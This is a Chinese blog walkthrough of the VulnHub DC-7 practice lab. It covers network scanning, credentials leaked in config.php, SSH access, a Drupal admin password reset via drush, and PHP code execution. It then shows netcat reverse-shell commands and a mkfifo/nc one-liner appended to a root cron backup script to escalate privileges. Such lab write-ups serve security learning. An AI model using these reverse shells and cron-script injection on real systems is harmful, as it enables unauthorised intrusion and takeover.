DC-7--vulnhub靶场

逆风/

已于 2022-08-05 19:01:07 修改

阅读量935

点赞数

分类专栏： vulnhub靶场笔记文章标签： ssh kali linux flag 安全

于 2022-07-30 18:27:48 首次发布

本文链接：https://blog.csdn.net/m0_46982383/article/details/126073385

版权

10 篇文章 2 订阅

订阅专栏

本文介绍了在Vulnhub上的DC-7靶场攻防演练过程，包括主机发现、网站信息收集、利用SSH登录及通过定时任务进行提权的详细步骤。在网站源码中找到的账号密码无法直接登录，但成功通过SSH接入，并发现一个具有提权可能的定时备份任务。最终，通过分析和利用backups.sh脚本，实现了权限提升。

摘要由CSDN通过智能技术生成

靶机：http://www.five86.com/downloads/DC-7.zip
网络模式：NAT

arp-scan -l

192.168.194.167

nmap -p- -A 192.168.194.167

22/tcp open ssh
80/tcp open http

在这里插入图片描述

在下面

在代码config.php中找到一个账号密码

$username = “dc7user”;
$password = “MdR3xOgB7#dW”;

在robots.txt中，发现登录界面路径

在这里插入图片描述

在这里插入图片描述
用之前的账号密码登不了，想起还有个22端口的ssh，试试，可以

查看mbox
虽然很长，但是内容基本重复，可以得到的信息是存在一个定时任务，备份数据库文件，参考

cat /opt/scripts/backups.sh

在这里插入图片描述
www-data 具有权限，需要获取相应shell，再利用backups.sh提权

drush 命令可以修改密码

drush user-password admin --password="123456"

在这里插入图片描述

在这里插入图片描述

https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz

在这里插入图片描述

折叠查找更快

在这里插入图片描述

可以写php文件了

在这里插入图片描述

在这里插入图片描述
路径为首页

nc -e /bin/bash 192.168.194.156 7777

nc -lvvp 7777

利用backups.sh文件提权

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.194.156 6666 >/tmp/f" >> backups.sh

在这里插入图片描述
另一个终端监听

通过邮件的时间可以得知该脚本每15分钟执行一次

关注

专栏目录